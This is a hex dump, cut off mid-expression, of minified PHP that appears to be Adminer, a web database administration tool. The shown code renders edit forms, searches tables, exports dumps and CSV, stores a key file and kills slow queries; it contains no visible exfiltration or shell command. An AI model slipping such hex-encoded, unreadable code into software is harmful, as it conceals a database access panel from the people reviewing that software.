28 24 55 2C 24 75 61 2C 24 6D 2C 24 59 2C 24 4C 62 3D 6E 75 6C 6C 29 7B
67 6C 6F 62 61 6C 24 62 3B 70 72 65 67 5F 6D 61 74 63 68 5F 61 6C 6C 28
22 7E 27 28 28 3F 3A 5B 5E 27 5D 7C 27 27 29 2A 29 27 7E 22 2C 24 6D 5B
22 6C 65 6E 67 74 68 22 5D 2C 24 6C 64 29 3B 24 4B 3D 28 24 4C 62 21 3D
3D 6E 75 6C 6C 3F 22 3C 6C 61 62 65 6C 3E 3C 69 6E 70 75 74 20 74 79 70
65 3D 27 24 55 27 24 75 61 20 76 61 6C 75 65 3D 27 24 4C 62 27 22 2E 28
28 69 73 5F 61 72 72 61 79 28 24 59 29 3F 69 6E 5F 61 72 72 61 79 28 24
4C 62 2C 24 59 29 3A 24 59 3D 3D 3D 30 29 3F 22 20 63 68 65 63 6B 65 64
22 3A 22 22 29 2E 22 3E 3C 69 3E 22 2E 27 65 6D 70 74 79 27 2E 22 3C 2F
69 3E 3C 2F 6C 61 62 65 6C 3E 22 3A 22 22 29 3B 66 6F 72 65 61 63 68 28
24 6C 64 5B 31 5D 61 73 24 73 3D 3E 24 58 29 7B 24 58 3D 73 74 72 69 70
63 73 6C 61 73 68 65 73 28 73 74 72 5F 72 65 70 6C 61 63 65 28 22 27 27
22 2C 22 27 22 2C 24 58 29 29 3B 24 4A 61 3D 28 69 73 5F 69 6E 74 28 24
59 29 3F 24 59 3D 3D 24 73 2B 31 3A 28 69 73 5F 61 72 72 61 79 28 24 59
29 3F 69 6E 5F 61 72 72 61 79 28 24 73 2B 31 2C 24 59 29 3A 24 59 3D 3D
3D 24 58 29 29 3B 24 4B 2E 3D 22 20 3C 6C 61 62 65 6C 3E 3C 69 6E 70 75
74 20 74 79 70 65 3D 27 24 55 27 24 75 61 20 76 61 6C 75 65 3D 27 22 2E
28 24 73 2B 31 29 2E 22 27 22 2E 28 24 4A 61 3F 27 20 63 68 65 63 6B 65
64 27 3A 27 27 29 2E 27 3E 27 2E 68 28 24 62 2D 3E 65 64 69 74 56 61 6C
28 24 58 2C 24 6D 29 29 2E 27 3C 2F 6C 61 62 65 6C 3E 27 3B 7D 72 65 74
75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 6E 70 75 74 28 24 6D
2C 24 59 2C 24 71 29 7B 67 6C 6F 62 61 6C 24 67 2C 24 63 67 2C 24 62 2C
24 78 3B 24 45 3D 68 28 62 72 61 63 6B 65 74 5F 65 73 63 61 70 65 28 24
6D 5B 22 66 69 65 6C 64 22 5D 29 29 3B 65 63 68 6F 22 3C 74 64 20 63 6C
61 73 73 3D 27 66 75 6E 63 74 69 6F 6E 27 3E 22 3B 24 50 65 3D 28 24 78
3D 3D 22 6D 73 73 71 6C 22 26 26 24 6D 5B 22 61 75 74 6F 5F 69 6E 63 72
65 6D 65 6E 74 22 5D 29 3B 69 66 28 24 50 65 26 26 21 24 5F 50 4F 53 54
5B 22 73 61 76 65 22 5D 29 24 71 3D 6E 75 6C 6C 3B 24 76 63 3D 28 69 73
73 65 74 28 24 5F 47 45 54 5B 22 73 65 6C 65 63 74 22 5D 29 7C 7C 24 50
65 3F 61 72 72 61 79 28 22 6F 72 69 67 22 3D 3E 27 6F 72 69 67 69 6E 61
6C 27 29 3A 61 72 72 61 79 28 29 29 2B 24 62 2D 3E 65 64 69 74 46 75 6E
63 74 69 6F 6E 73 28 24 6D 29 3B 24 75 61 3D 22 20 6E 61 6D 65 3D 27 66
69 65 6C 64 73 5B 24 45 5D 27 22 3B 69 66 28 24 6D 5B 22 74 79 70 65 22
5D 3D 3D 22 65 6E 75 6D 22 29 65 63 68 6F 0A 6E 62 73 70 28 24 76 63 5B
22 22 5D 29 2E 22 3C 74 64 3E 22 2E 24 62 2D 3E 65 64 69 74 49 6E 70 75
74 28 24 5F 47 45 54 5B 22 65 64 69 74 22 5D 2C 24 6D 2C 24 75 61 2C 24
59 29 3B 65 6C 73 65 7B 24 6B 63 3D 30 3B 66 6F 72 65 61 63 68 28 24 76
63 0A 61 73 24 79 3D 3E 24 58 29 7B 69 66 28 24 79 3D 3D 3D 22 22 7C 7C
21 24 58 29 62 72 65 61 6B 3B 24 6B 63 2B 2B 3B 7D 24 50 64 3D 28 24 6B
63 3F 22 20 6F 6E 63 68 61 6E 67 65 3D 5C 22 76 61 72 20 66 20 3D 20 74
68 69 73 2E 66 6F 72 6D 5B 27 66 75 6E 63 74 69 6F 6E 5B 22 2E 68 28 6A
73 5F 65 73 63 61 70 65 28 62 72 61 63 6B 65 74 5F 65 73 63 61 70 65 28
24 6D 5B 22 66 69 65 6C 64 22 5D 29 29 29 2E 22 5D 27 5D 3B 20 69 66 20
28 24 6B 63 20 3E 20 66 2E 73 65 6C 65 63 74 65 64 49 6E 64 65 78 29 20
66 2E 73 65 6C 65 63 74 65 64 49 6E 64 65 78 20 3D 20 24 6B 63 3B 5C 22
22 3A 22 22 29 3B 24 75 61 2E 3D 24 50 64 3B 65 63 68 6F 28 63 6F 75 6E
74 28 24 76 63 29 3E 31 3F 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 66 75
6E 63 74 69 6F 6E 5B 24 45 5D 22 2C 24 76 63 2C 24 71 3D 3D 3D 6E 75 6C
6C 7C 7C 69 6E 5F 61 72 72 61 79 28 24 71 2C 24 76 63 29 7C 7C 69 73 73
65 74 28 24 76 63 5B 24 71 5D 29 3F 24 71 3A 22 22 2C 22 66 75 6E 63 74
69 6F 6E 43 68 61 6E 67 65 28 74 68 69 73 29 3B 22 29 3A 6E 62 73 70 28
72 65 73 65 74 28 24 76 63 29 29 29 2E 27 3C 74 64 3E 27 3B 24 4D 63 3D
24 62 2D 3E 65 64 69 74 49 6E 70 75 74 28 24 5F 47 45 54 5B 22 65 64 69
74 22 5D 2C 24 6D 2C 24 75 61 2C 24 59 29 3B 69 66 28 24 4D 63 21 3D 22
22 29 65 63 68 6F 24 4D 63 3B 65 6C 73 65 69 66 28 24 6D 5B 22 74 79 70
65 22 5D 3D 3D 22 73 65 74 22 29 7B 70 72 65 67 5F 6D 61 74 63 68 5F 61
6C 6C 28 22 7E 27 28 28 3F 3A 5B 5E 27 5D 7C 27 27 29 2A 29 27 7E 22 2C
24 6D 5B 22 6C 65 6E 67 74 68 22 5D 2C 24 6C 64 29 3B 66 6F 72 65 61 63
68 28 24 6C 64 5B 31 5D 61 73 24 73 3D 3E 24 58 29 7B 24 58 3D 73 74 72
69 70 63 73 6C 61 73 68 65 73 28 73 74 72 5F 72 65 70 6C 61 63 65 28 22
27 27 22 2C 22 27 22 2C 24 58 29 29 3B 24 4A 61 3D 28 69 73 5F 69 6E 74
28 24 59 29 3F 28 24 59 3E 3E 24 73 29 26 31 3A 69 6E 5F 61 72 72 61 79
28 24 58 2C 65 78 70 6C 6F 64 65 28 22 2C 22 2C 24 59 29 2C 74 72 75 65
29 29 3B 65 63 68 6F 22 20 3C 6C 61 62 65 6C 3E 3C 69 6E 70 75 74 20 74
79 70 65 3D 27 63 68 65 63 6B 62 6F 78 27 20 6E 61 6D 65 3D 27 66 69 65
6C 64 73 5B 24 45 5D 5B 24 73 5D 27 20 76 61 6C 75 65 3D 27 22 2E 28 31
3C 3C 24 73 29 2E 22 27 22 2E 28 24 4A 61 3F 27 20 63 68 65 63 6B 65 64
27 3A 27 27 29 2E 22 24 50 64 3E 22 2E 68 28 24 62 2D 3E 65 64 69 74 56
61 6C 28 24 58 2C 24 6D 29 29 2E 27 3C 2F 6C 61 62 65 6C 3E 27 3B 7D 7D
65 6C 73 65 69 66 28 65 72 65 67 28 27 62 6C 6F 62 7C 62 79 74 65 61 7C
72 61 77 7C 66 69 6C 65 27 2C 24 6D 5B 22 74 79 70 65 22 5D 29 26 26 69
6E 69 5F 62 6F 6F 6C 28 22 66 69 6C 65 5F 75 70 6C 6F 61 64 73 22 29 29
65 63 68 6F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 66 69 6C 65 27 20
6E 61 6D 65 3D 27 66 69 65 6C 64 73 2D 24 45 27 24 50 64 3E 22 3B 65 6C
73 65 69 66 28 28 24 49 66 3D 65 72 65 67 28 27 74 65 78 74 7C 6C 6F 62
27 2C 24 6D 5B 22 74 79 70 65 22 5D 29 29 7C 7C 65 72 65 67 28 22 5C 6E
22 2C 24 59 29 29 7B 69 66 28 24 49 66 26 26 24 78 21 3D 22 73 71 6C 69
74 65 22 29 24 75 61 2E 3D 22 20 63 6F 6C 73 3D 27 35 30 27 20 72 6F 77
73 3D 27 31 32 27 22 3B 65 6C 73 65 7B 24 4D 3D 6D 69 6E 28 31 32 2C 73
75 62 73 74 72 5F 63 6F 75 6E 74 28 24 59 2C 22 5C 6E 22 29 2B 31 29 3B
24 75 61 2E 3D 22 20 63 6F 6C 73 3D 27 33 30 27 20 72 6F 77 73 3D 27 24
4D 27 22 2E 28 24 4D 3D 3D 31 3F 22 20 73 74 79 6C 65 3D 27 68 65 69 67
68 74 3A 20 31 2E 32 65 6D 3B 27 22 3A 22 22 29 3B 7D 65 63 68 6F 22 3C
74 65 78 74 61 72 65 61 24 75 61 3E 22 2E 68 28 24 59 29 2E 27 3C 2F 74
65 78 74 61 72 65 61 3E 27 3B 7D 65 6C 73 65 7B 24 73 64 3D 28 21 65 72
65 67 28 27 69 6E 74 27 2C 24 6D 5B 22 74 79 70 65 22 5D 29 26 26 70 72
65 67 5F 6D 61 74 63 68 28 27 7E 5E 28 5C 5C 64 2B 29 28 2C 28 5C 5C 64
2B 29 29 3F 24 7E 27 2C 24 6D 5B 22 6C 65 6E 67 74 68 22 5D 2C 24 42 29
3F 28 28 65 72 65 67 28 22 62 69 6E 61 72 79 22 2C 24 6D 5B 22 74 79 70
65 22 5D 29 3F 32 3A 31 29 2A 24 42 5B 31 5D 2B 28 24 42 5B 33 5D 3F 31
3A 30 29 2B 28 24 42 5B 32 5D 26 26 21 24 6D 5B 22 75 6E 73 69 67 6E 65
64 22 5D 3F 31 3A 30 29 29 3A 28 24 63 67 5B 24 6D 5B 22 74 79 70 65 22
5D 5D 3F 24 63 67 5B 24 6D 5B 22 74 79 70 65 22 5D 5D 2B 28 24 6D 5B 22
75 6E 73 69 67 6E 65 64 22 5D 3F 30 3A 31 29 3A 30 29 29 3B 69 66 28 24
78 3D 3D 27 73 71 6C 27 26 26 24 67 2D 3E 73 65 72 76 65 72 5F 69 6E 66
6F 3E 3D 35 2E 36 26 26 65 72 65 67 28 27 74 69 6D 65 27 2C 24 6D 5B 22
74 79 70 65 22 5D 29 29 24 73 64 2B 3D 37 3B 65 63 68 6F 22 3C 69 6E 70
75 74 22 2E 28 65 72 65 67 28 27 69 6E 74 27 2C 24 6D 5B 22 74 79 70 65
22 5D 29 3F 22 20 74 79 70 65 3D 27 6E 75 6D 62 65 72 27 22 3A 22 22 29
2E 22 20 76 61 6C 75 65 3D 27 22 2E 68 28 24 59 29 2E 22 27 22 2E 28 24
73 64 3F 22 20 6D 61 78 6C 65 6E 67 74 68 3D 27 24 73 64 27 22 3A 22 22
29 2E 28 65 72 65 67 28 27 63 68 61 72 7C 62 69 6E 61 72 79 27 2C 24 6D
5B 22 74 79 70 65 22 5D 29 26 26 24 73 64 3E 32 30 3F 22 20 73 69 7A 65
3D 27 34 30 27 22 3A 22 22 29 2E 22 24 75 61 3E 22 3B 7D 7D 7D 66 75 6E
63 74 69 6F 6E 0A 70 72 6F 63 65 73 73 5F 69 6E 70 75 74 28 24 6D 29 7B
67 6C 6F 62 61 6C 24 62 3B 24 47 63 3D 62 72 61 63 6B 65 74 5F 65 73 63
61 70 65 28 24 6D 5B 22 66 69 65 6C 64 22 5D 29 3B 24 71 3D 24 5F 50 4F
53 54 5B 22 66 75 6E 63 74 69 6F 6E 22 5D 5B 24 47 63 5D 3B 24 59 3D 24
5F 50 4F 53 54 5B 22 66 69 65 6C 64 73 22 5D 5B 24 47 63 5D 3B 69 66 28
24 6D 5B 22 74 79 70 65 22 5D 3D 3D 22 65 6E 75 6D 22 29 7B 69 66 28 24
59 3D 3D 2D 31 29 72 65 74 75 72 6E 0A 66 61 6C 73 65 3B 69 66 28 24 59
3D 3D 22 22 29 72 65 74 75 72 6E 22 4E 55 4C 4C 22 3B 72 65 74 75 72 6E
2B 24 59 3B 7D 69 66 28 24 6D 5B 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65
6E 74 22 5D 26 26 24 59 3D 3D 22 22 29 72 65 74 75 72 6E 0A 6E 75 6C 6C
3B 69 66 28 24 71 3D 3D 22 6F 72 69 67 22 29 72 65 74 75 72 6E 28 24 6D
5B 22 6F 6E 5F 75 70 64 61 74 65 22 5D 3D 3D 22 43 55 52 52 45 4E 54 5F
54 49 4D 45 53 54 41 4D 50 22 3F 69 64 66 5F 65 73 63 61 70 65 28 24 6D
5B 22 66 69 65 6C 64 22 5D 29 3A 66 61 6C 73 65 29 3B 69 66 28 24 71 3D
3D 22 4E 55 4C 4C 22 29 72 65 74 75 72 6E 22 4E 55 4C 4C 22 3B 69 66 28
24 6D 5B 22 74 79 70 65 22 5D 3D 3D 22 73 65 74 22 29 72 65 74 75 72 6E
0A 61 72 72 61 79 5F 73 75 6D 28 28 61 72 72 61 79 29 24 59 29 3B 69 66
28 65 72 65 67 28 27 62 6C 6F 62 7C 62 79 74 65 61 7C 72 61 77 7C 66 69
6C 65 27 2C 24 6D 5B 22 74 79 70 65 22 5D 29 26 26 69 6E 69 5F 62 6F 6F
6C 28 22 66 69 6C 65 5F 75 70 6C 6F 61 64 73 22 29 29 7B 24 68 63 3D 67
65 74 5F 66 69 6C 65 28 22 66 69 65 6C 64 73 2D 24 47 63 22 29 3B 69 66
28 21 69 73 5F 73 74 72 69 6E 67 28 24 68 63 29 29 72 65 74 75 72 6E 0A
66 61 6C 73 65 3B 72 65 74 75 72 6E 0A 71 28 24 68 63 29 3B 7D 72 65 74
75 72 6E 24 62 2D 3E 70 72 6F 63 65 73 73 49 6E 70 75 74 28 24 6D 2C 24
59 2C 24 71 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65 61 72 63 68 5F 74
61 62 6C 65 73 28 29 7B 67 6C 6F 62 61 6C 24 62 2C 24 67 3B 24 5F 47 45
54 5B 22 77 68 65 72 65 22 5D 5B 30 5D 5B 22 6F 70 22 5D 3D 22 4C 49 4B
45 20 25 25 22 3B 24 5F 47 45 54 5B 22 77 68 65 72 65 22 5D 5B 30 5D 5B
22 76 61 6C 22 5D 3D 24 5F 50 4F 53 54 5B 22 71 75 65 72 79 22 5D 3B 24
70 63 3D 66 61 6C 73 65 3B 66 6F 72 65 61 63 68 28 74 61 62 6C 65 5F 73
74 61 74 75 73 28 27 27 2C 74 72 75 65 29 61 73 24 51 3D 3E 24 52 29 7B
24 45 3D 24 62 2D 3E 74 61 62 6C 65 4E 61 6D 65 28 24 52 29 3B 69 66 28
69 73 73 65 74 28 24 52 5B 22 45 6E 67 69 6E 65 22 5D 29 26 26 24 45 21
3D 22 22 26 26 28 21 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 73 22 5D 7C
7C 69 6E 5F 61 72 72 61 79 28 24 51 2C 24 5F 50 4F 53 54 5B 22 74 61 62
6C 65 73 22 5D 29 29 29 7B 24 4A 3D 24 67 2D 3E 71 75 65 72 79 28 22 53
45 4C 45 43 54 22 2E 6C 69 6D 69 74 28 22 31 20 46 52 4F 4D 20 22 2E 74
61 62 6C 65 28 24 51 29 2C 22 20 57 48 45 52 45 20 22 2E 69 6D 70 6C 6F
64 65 28 22 20 41 4E 44 20 22 2C 24 62 2D 3E 73 65 6C 65 63 74 53 65 61
72 63 68 50 72 6F 63 65 73 73 28 66 69 65 6C 64 73 28 24 51 29 2C 61 72
72 61 79 28 29 29 29 2C 31 29 29 3B 69 66 28 21 24 4A 7C 7C 24 4A 2D 3E
66 65 74 63 68 5F 72 6F 77 28 29 29 7B 69 66 28 21 24 70 63 29 7B 65 63
68 6F 22 3C 75 6C 3E 5C 6E 22 3B 24 70 63 3D 74 72 75 65 3B 7D 65 63 68
6F 22 3C 6C 69 3E 22 2E 28 24 4A 3F 22 3C 61 20 68 72 65 66 3D 27 22 2E
68 28 4D 45 2E 22 73 65 6C 65 63 74 3D 22 2E 75 72 6C 65 6E 63 6F 64 65
28 24 51 29 2E 22 26 77 68 65 72 65 5B 30 5D 5B 6F 70 5D 3D 22 2E 75 72
6C 65 6E 63 6F 64 65 28 24 5F 47 45 54 5B 22 77 68 65 72 65 22 5D 5B 30
5D 5B 22 6F 70 22 5D 29 2E 22 26 77 68 65 72 65 5B 30 5D 5B 76 61 6C 5D
3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 5F 47 45 54 5B 22 77 68 65 72
65 22 5D 5B 30 5D 5B 22 76 61 6C 22 5D 29 29 2E 22 27 3E 24 45 3C 2F 61
3E 5C 6E 22 3A 22 24 45 3A 20 3C 73 70 61 6E 20 63 6C 61 73 73 3D 27 65
72 72 6F 72 27 3E 22 2E 65 72 72 6F 72 28 29 2E 22 3C 2F 73 70 61 6E 3E
5C 6E 22 29 3B 7D 7D 7D 65 63 68 6F 28 24 70 63 3F 22 3C 2F 75 6C 3E 22
3A 22 3C 70 20 63 6C 61 73 73 3D 27 6D 65 73 73 61 67 65 27 3E 22 2E 27
4E 6F 20 74 61 62 6C 65 73 2E 27 29 2E 22 5C 6E 22 3B 7D 66 75 6E 63 74
69 6F 6E 0A 64 75 6D 70 5F 68 65 61 64 65 72 73 28 24 46 63 2C 24 7A 64
3D 66 61 6C 73 65 29 7B 67 6C 6F 62 61 6C 24 62 3B 24 4B 3D 24 62 2D 3E
64 75 6D 70 48 65 61 64 65 72 73 28 24 46 63 2C 24 7A 64 29 3B 24 64 65
3D 24 5F 50 4F 53 54 5B 22 6F 75 74 70 75 74 22 5D 3B 69 66 28 24 64 65
21 3D 22 74 65 78 74 22 29 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74
2D 44 69 73 70 6F 73 69 74 69 6F 6E 3A 20 61 74 74 61 63 68 6D 65 6E 74
3B 20 66 69 6C 65 6E 61 6D 65 3D 22 2E 24 62 2D 3E 64 75 6D 70 46 69 6C
65 6E 61 6D 65 28 24 46 63 29 2E 22 2E 24 4B 22 2E 28 24 64 65 21 3D 22
66 69 6C 65 22 26 26 21 65 72 65 67 28 27 5B 5E 30 2D 39 61 2D 7A 5D 27
2C 24 64 65 29 3F 22 2E 24 64 65 22 3A 22 22 29 29 3B 73 65 73 73 69 6F
6E 5F 77 72 69 74 65 5F 63 6C 6F 73 65 28 29 3B 6F 62 5F 66 6C 75 73 68
28 29 3B 66 6C 75 73 68 28 29 3B 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E
63 74 69 6F 6E 0A 64 75 6D 70 5F 63 73 76 28 24 4C 29 7B 66 6F 72 65 61
63 68 28 24 4C 0A 61 73 24 79 3D 3E 24 58 29 7B 69 66 28 70 72 65 67 5F
6D 61 74 63 68 28 22 7E 5B 5C 22 5C 6E 2C 3B 5C 74 5D 7E 22 2C 24 58 29
7C 7C 24 58 3D 3D 3D 22 22 29 24 4C 5B 24 79 5D 3D 27 22 27 2E 73 74 72
5F 72 65 70 6C 61 63 65 28 27 22 27 2C 27 22 22 27 2C 24 58 29 2E 27 22
27 3B 7D 65 63 68 6F 0A 69 6D 70 6C 6F 64 65 28 28 24 5F 50 4F 53 54 5B
22 66 6F 72 6D 61 74 22 5D 3D 3D 22 63 73 76 22 3F 22 2C 22 3A 28 24 5F
50 4F 53 54 5B 22 66 6F 72 6D 61 74 22 5D 3D 3D 22 74 73 76 22 3F 22 5C
74 22 3A 22 3B 22 29 29 2C 24 4C 29 2E 22 5C 72 5C 6E 22 3B 7D 66 75 6E
63 74 69 6F 6E 0A 61 70 70 6C 79 5F 73 71 6C 5F 66 75 6E 63 74 69 6F 6E
28 24 71 2C 24 65 29 7B 72 65 74 75 72 6E 28 24 71 3F 28 24 71 3D 3D 22
75 6E 69 78 65 70 6F 63 68 22 3F 22 44 41 54 45 54 49 4D 45 28 24 65 2C
20 27 24 71 27 29 22 3A 28 24 71 3D 3D 22 63 6F 75 6E 74 20 64 69 73 74
69 6E 63 74 22 3F 22 43 4F 55 4E 54 28 44 49 53 54 49 4E 43 54 20 22 3A
73 74 72 74 6F 75 70 70 65 72 28 22 24 71 28 22 29 29 2E 22 24 65 29 22
29 3A 24 65 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 70 61 73 73 77 6F 72 64
5F 66 69 6C 65 28 24 69 29 7B 24 76 62 3D 69 6E 69 5F 67 65 74 28 22 75
70 6C 6F 61 64 5F 74 6D 70 5F 64 69 72 22 29 3B 69 66 28 21 24 76 62 29
7B 69 66 28 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 27 73 79 73
5F 67 65 74 5F 74 65 6D 70 5F 64 69 72 27 29 29 24 76 62 3D 73 79 73 5F
67 65 74 5F 74 65 6D 70 5F 64 69 72 28 29 3B 65 6C 73 65 7B 24 69 63 3D
40 74 65 6D 70 6E 61 6D 28 22 22 2C 22 22 29 3B 69 66 28 21 24 69 63 29
72 65 74 75 72 6E 0A 66 61 6C 73 65 3B 24 76 62 3D 64 69 72 6E 61 6D 65
28 24 69 63 29 3B 75 6E 6C 69 6E 6B 28 24 69 63 29 3B 7D 7D 24 69 63 3D
22 24 76 62 2F 61 64 6D 69 6E 65 72 2E 6B 65 79 22 3B 24 4B 3D 40 66 69
6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 69 63 29 3B 69 66 28
24 4B 7C 7C 21 24 69 29 72 65 74 75 72 6E 24 4B 3B 24 72 63 3D 40 66 6F
70 65 6E 28 24 69 63 2C 22 77 22 29 3B 69 66 28 24 72 63 29 7B 24 4B 3D
6D 64 35 28 75 6E 69 71 69 64 28 6D 74 5F 72 61 6E 64 28 29 2C 74 72 75
65 29 29 3B 66 77 72 69 74 65 28 24 72 63 2C 24 4B 29 3B 66 63 6C 6F 73
65 28 24 72 63 29 3B 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69
6F 6E 0A 69 73 5F 6D 61 69 6C 28 24 49 62 29 7B 24 74 61 3D 27 5B 2D 61
2D 7A 30 2D 39 21 23 24 25 26 5C 27 2A 2B 2F 3D 3F 5E 5F 60 7B 7C 7D 7E
5D 27 3B 24 78 62 3D 27 5B 61 2D 7A 30 2D 39 5D 28 5B 2D 61 2D 7A 30 2D
39 5D 7B 30 2C 36 31 7D 5B 61 2D 7A 30 2D 39 5D 29 27 3B 24 47 3D 22 24
74 61 2B 28 5C 5C 2E 24 74 61 2B 29 2A 40 28 24 78 62 3F 5C 5C 2E 29 2B
24 78 62 22 3B 72 65 74 75 72 6E 0A 70 72 65 67 5F 6D 61 74 63 68 28 22
28 5E 24 47 28 2C 5C 5C 73 2A 24 47 29 2A 5C 24 29 69 22 2C 24 49 62 29
3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 73 5F 75 72 6C 28 24 71 66 29 7B 24
78 62 3D 27 5B 61 2D 7A 30 2D 39 5D 28 5B 2D 61 2D 7A 30 2D 39 5D 7B 30
2C 36 31 7D 5B 61 2D 7A 30 2D 39 5D 29 27 3B 72 65 74 75 72 6E 28 70 72
65 67 5F 6D 61 74 63 68 28 22 7E 5E 28 68 74 74 70 73 3F 29 3A 2F 2F 28
24 78 62 3F 5C 5C 2E 29 2B 24 78 62 28 3A 5C 5C 64 2B 29 3F 28 2F 2E 2A
29 3F 28 5C 5C 3F 2E 2A 29 3F 28 23 2E 2A 29 3F 5C 24 7E 69 22 2C 24 71
66 2C 24 42 29 3F 73 74 72 74 6F 6C 6F 77 65 72 28 24 42 5B 31 5D 29 3A
22 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 73 5F 73 68 6F 72 74 61 62
6C 65 28 24 6D 29 7B 72 65 74 75 72 6E 0A 65 72 65 67 28 27 63 68 61 72
7C 74 65 78 74 7C 6C 6F 62 7C 67 65 6F 6D 65 74 72 79 7C 70 6F 69 6E 74
7C 6C 69 6E 65 73 74 72 69 6E 67 7C 70 6F 6C 79 67 6F 6E 27 2C 24 6D 5B
22 74 79 70 65 22 5D 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 6C 6F 77 5F
71 75 65 72 79 28 24 49 29 7B 67 6C 6F 62 61 6C 24 62 2C 24 54 3B 24 6B
3D 24 62 2D 3E 64 61 74 61 62 61 73 65 28 29 3B 69 66 28 73 75 70 70 6F
72 74 28 22 6B 69 6C 6C 22 29 26 26 69 73 5F 6F 62 6A 65 63 74 28 24 68
3D 63 6F 6E 6E 65 63 74 28 29 29 26 26 28 24 6B 3D 3D 22 22 7C 7C 24 68
2D 3E 73 65 6C 65 63 74 5F 64 62 28 24 6B 29 29 29 7B 24 56 63 3D 24 68
2D 3E 72 65 73 75 6C 74 28 22 53 45 4C 45 43 54 20 43 4F 4E 4E 45 43 54
49 4F 4E 5F 49 44 28 29 22 29 3B 65 63 68 6F 27 3C 73 63 72 69 70 74 20
74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 22 3E 0A
76 61 72 20 74 69 6D 65 6F 75 74 20 3D 20 73 65 74 54 69 6D 65 6F 75 74
28 66 75 6E 63 74 69 6F 6E 20 28 29 20 7B 0A 09 61 6A 61 78 28 5C 27 27
2C 6A 73 5F 65 73 63 61 70 65 28 4D 45 29 2C 27 73 63 72 69 70 74 3D 6B
69 6C 6C 5C 27 2C 20 66 75 6E 63 74 69 6F 6E 20 28 29 20 7B 0A 09 7D 2C
20 5C 27 74 6F 6B 65 6E 3D 27 2C 24 54 2C 27 26 6B 69 6C 6C 3D 27 2C 24
56 63 2C 27 5C 27 29 3B 0A 7D 2C 20 27 2C 31 30 30 30 2A 24 62 2D 3E 71
75 65 72 79 54 69 6D 65 6F 75 74 28 29 2C 27 29 3B 0A 3C 2F 73 63 72 69
70 74 3E 0A 27 3B 7D 65 6C 73 65 24 68 3D 6E 75 6C 6C 3B 6F 62 5F 66 6C
75 73 68 28 29 3B 66 6C 75 73 68 28 29 3B 24 4B 3D 40 67 65 74 5F 6B 65
79 5F 76 61 6C 73 28 24 49 2C 24 68 29 3B 69 66 28 24 68 29 7B 65 63 68
6F 22 3C 73 63 72 69 70 74 20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76
61 73 63 72 69 70 74 27 3E 63 6C 65 61 72 54 69 6D 65 6F 75 74 28 74 69
6D 65 6F 75 74 29 3B 3C 2F 73 63 72 69 70 74 3E 5C 6E 22 3B 6F 62 5F 66
6C 75 73 68 28 29 3B 66 6C 75 73 68 28 29 3B 7D 72 65 74 75 72 6E 0A 61
72 72 61 79 5F 6B 65 79 73 28 24 4B 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A
6C 7A 77 5F 64 65 63 6F 6D 70 72 65 73 73 28 24 41 61 29 7B 24 75 62 3D
32 35 36 3B 24 42 61 3D 38 3B 24 4F 61 3D 61 72 72 61 79 28 29 3B 24 51
65 3D 30 3B 24 52 65 3D 30 3B 66 6F 72 28 24 73 3D 30 3B 24 73 3C 73 74
72 6C 65 6E 28 24 41 61 29 3B 24 73 2B 2B 29 7B 24 51 65 3D 28 24 51 65
3C 3C 38 29 2B 6F 72 64 28 24 41 61 5B 24 73 5D 29 3B 24 52 65 2B 3D 38
3B 69 66 28 24 52 65 3E 3D 24 42 61 29 7B 24 52 65 2D 3D 24 42 61 3B 24
4F 61 5B 5D 3D 24 51 65 3E 3E 24 52 65 3B 24 51 65 26 3D 28 31 3C 3C 24
52 65 29 2D 31 3B 24 75 62 2B 2B 3B 69 66 28 24 75 62 3E 3E 24 42 61 29
24 42 61 2B 2B 3B 7D 7D 24 74 62 3D 72 61 6E 67 65 28 22 5C 30 22 2C 22
5C 78 46 46 22 29 3B 24 4B 3D 22 22 3B 66 6F 72 65 61 63 68 28 24 4F 61
0A 61 73 24 73 3D 3E 24 4E 61 29 7B 24 48 62 3D 24 74 62 5B 24 4E 61 5D
3B 69 66 28 21 69 73 73 65 74 28 24 48 62 29 29 24 48 62 3D 24 78 67 2E
24 78 67 5B 30 5D 3B 24 4B 2E 3D 24 48 62 3B 69 66 28 24 73 29 24 74 62
5B 5D 3D 24 78 67 2E 24 48 62 5B 30 5D 3B 24 78 67 3D 24 48 62 3B 7D 72
65 74 75 72 6E 24 4B 3B 7D 67 6C 6F 62 61 6C 24 62 2C 24 67 2C 24 7A 62
2C 24 46 62 2C 24 50 62 2C 24 6C 2C 24 76 63 2C 24 7A 63 2C 24 62 61 2C
24 4C 63 2C 24 78 2C 24 63 61 2C 24 59 63 2C 24 4F 64 2C 24 6F 65 2C 24
72 66 2C 24 54 2C 24 57 66 2C 24 63 67 2C 24 6A 67 2C 24 67 61 3B 69 66
28 21 24 5F 53 45 52 56 45 52 5B 22 52 45 51 55 45 53 54 5F 55 52 49 22
5D 29 24 5F 53 45 52 56 45 52 5B 22 52 45 51 55 45 53 54 5F 55 52 49 22
5D 3D 24 5F 53 45 52 56 45 52 5B 22 4F 52 49 47 5F 50 41 54 48 5F 49 4E
46 4F 22 5D 3B 69 66 28 21 73 74 72 70 6F 73 28 24 5F 53 45 52 56 45 52
5B 22 52 45 51 55 45 53 54 5F 55 52 49 22 5D 2C 27 3F 27 29 26 26 24 5F
53 45 52 56 45 52 5B 22 51 55 45 52 59 5F 53 54 52 49 4E 47 22 5D 21 3D
22 22 29 24 5F 53 45 52 56 45 52 5B 22 52 45 51 55 45 53 54 5F 55 52 49
22 5D 2E 3D 22 3F 24 5F 53 45 52 56 45 52 5B 51 55 45 52 59 5F 53 54 52
